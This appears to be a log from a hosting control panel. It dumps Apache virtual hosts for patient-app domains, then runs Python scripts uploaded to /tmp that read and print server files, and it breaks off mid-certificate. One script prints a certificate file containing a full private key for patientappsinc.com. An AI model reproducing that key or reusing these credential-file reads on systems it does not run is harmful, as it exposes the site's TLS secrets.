alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-14 06:01:14:
PUT: /tmp/pkp710168
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:01:14:
chmod 755 /tmp/pkp710168; /tmp/pkp710168; rm /tmp/pkp710168
2026-01-14 06:01:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 1906
<VirtualHost *:80>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientappsinc_www
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientappsinc.com
ServerAlias www.patientappsinc.com patientapps.com www.patientapps.com
# ServerAlias periop-ecare.com periopecare.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
DocumentRoot /var/www/patientappsinc_www
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
<Directory /var/www/patientappsinc_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientappsinc/www_secure_access.log combined
ErrorLog /var/log/apache2/patientappsinc/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.php index.htm
</VirtualHost>
2026-01-14 06:01:15:
PUT: /tmp/pkp807259
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-14 06:01:15:
chmod 755 /tmp/pkp807259; /tmp/pkp807259; rm /tmp/pkp807259
2026-01-14 06:01:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt 5450
0a:8b:67:cc:94:72:dd:92:5b:31:7e:47:8d:46:cd:9e
-----BEGIN CERTIFICATE-----
MIIFQzCCBCugAwIBAgISBrEKH8KoGt3kCgzm3k+FQw4zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMjQyWhcNMjYwNDE0MDUwMjQxWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCTY4FmnVxns1/M9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9
tMf6eXMgVhwWrS9JudLK5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcW
sHzy0wDLAcXB3knP7muJ1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP
4+69ZPu6Cy2sMsUMUeA5HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4
OXeOMXxYYVTJ03FNx/+YNaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9P
CQS4FiNmrooyB0An6C+fF7n7W46VAgMBAAGjggJlMIICYTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFI1M5vywYRh2hRiGpSQMSXV51MqbMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzUyLmNybDCCAQ0GCisGAQQB1nkC
BAIEgf4EgfsA+QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
m7sYB+YAAAQDAEgwRgIhAPwEgpxb1Npfzcn3sznqBjaGQ6w1/P3I5Bnjs9w4QV3I
AiEA4Vp4G7FFy8HNMhBBNSnZqLdth7cbP2DQ12XL1GNI7iQAfgBxfpXzwjiKbbHj
hEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZu7GAi3AAgAAAUABubC2AQDAEcwRQIg
IHPIsnyBsiJBZoJLjoHx3ZyzVRO72NyyT1TKpeqyaq4CIQDoXVnpR4AIpqTTlwju
oJ8IoqNa0UcbpAt48mESmFrpWzANBgkqhkiG9w0BAQsFAAOCAQEAOpcG2rvbLl3Y
qEghk3Pdhoer8b/a2FDEpoTFGse6Cdt2LeLsPMTkIasXGC84elnpKUSPfXySxVBH
s1ZAWT4mNhhqRIu4XGziIdojqHnzyjhwfMw4oyFJG8eO3MY8vGFMcct5fG/eCz2R
5RIoVoKCdUmXidYQSSE6ZriORT3LZq7vTqf9WVCYuI0sd/RN2/BFoFHEcPq/rQbL
WcWatxR49AIi5u9y2gh8xbutGpKEyxnR6+Vkzi+PcDF6Ax9vWMrqqEmvEeVC29UM
Lk+K4xk4uMCJyp+9pQr1UvDfhZbA5EdsmBuMsRvMedLWMxgu4ZfVp1wmAKzi+QRH
kndenNe5/Q==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCTY4FmnVxns1/M
9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9tMf6eXMgVhwWrS9JudLK
5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcWsHzy0wDLAcXB3knP7muJ
1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP4+69ZPu6Cy2sMsUMUeA5
HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4OXeOMXxYYVTJ03FNx/+Y
NaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9PCQS4FiNmrooyB0An6C+f
F7n7W46VAgMBAAECggEAN/eTDZo3mpE8kaJ91ICz5vlR80Ghu30wYyWiTmCNGkh1
tS8j/LPFR2z5VaMuROiVVPQd2maNDFvptW4vXVnP0/N5sXCO+WQO8KeyDv2fEfUQ
WhIp1NpUkZWyY2VFLRf+txfHNmTodnK8lyyPmd1mrr6fcF/hL7DeC2EQyDlEXJSf
1U3owShuj0PQqcZdKy34d9idWRQiHCRw2hQd8qtZAhNgGMucHfi5JBSmgNUY+RXw
1rLIa3lYPJgsxnEp8EYRWoybufG+PgV4WXXy+/15qHGOnrA8vszsA/rsCcLNrJeF
qYMd0p5ie72BbqRB1ztYaV+UHPDUKjbc1A5evgFVCQKBgQDHxY+fEpAM4rCiqtp9
oU06c+AKv0l/CuuUC8AKG5NatswcYZHvPwnDuwhNDH/zQy3q1/rQgrM7Cq13IQ7e
KhW0tz5W0vWruaSx8Y0kmzJ2Qk8Koxw2xzfxXQGA+IGdvARyXO9IHhDqphkA8pRr
AnTN/UpUhTAKDyULxxIsC3oOUwKBgQC834PHYst3ITVFtrMAY/dLCcs1gbobJbov
9xVtNK1gkSiG4ffdJUtbg5o3pq03rhT3qMCaCcDAErRj0Vg6XcrTXujzUmzcWzaO
fXdhfpIs4Rw4rdSyFczLnkchb6KhgjcHliKzUJTaBm6QLYegUaZbeTu/CotyeFu0
aBZ6fazCdwKBgHgabYtcVKB6lWlmwK8xD8YprjOn517qyNEb81vgUkoChlo1ytAE
nTFAu+/eqPoulGeRa+h5+5luhPWPOWoV8TDRzjfS4wJYPQ0CRTIR4Fe669xgTfEc
+qQwn1vTi9GyHRZIi09XTCJWs8efD935/xFsy4he/o+9pS8cgu9aAwqjAoGAWyEp
Txm+/DLcpk9ZnNWe6ujF0IJQTmrso9n+z5s8EDzZpgL/egdVjck4rqNQLm5jFX+p
tmkARGyB9yt5+2dnxoajtUtO1R95elTVNghA9UCEQmC1IFveXVx4C4z2liDi9lkd
UxGNUIkL7araJqNetgIPrsSitc+Wx7v1JJLguU8CgYEAp9etnOuPCgFBgFJ1GdXi
qIgg1QKYcdpCAHK26APbLQq+hSOCylznLM/lu39oAfo12wzPbajOxZgaPtVsJT3Z
5b+/CnPu/am+wLxyNAUPexLZO+WWWD+Asuu3CVDOlLr2YTkqRjqxCIUNT/fLHjz8
hW5NIDPnKLp6875zuG2W3d4=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
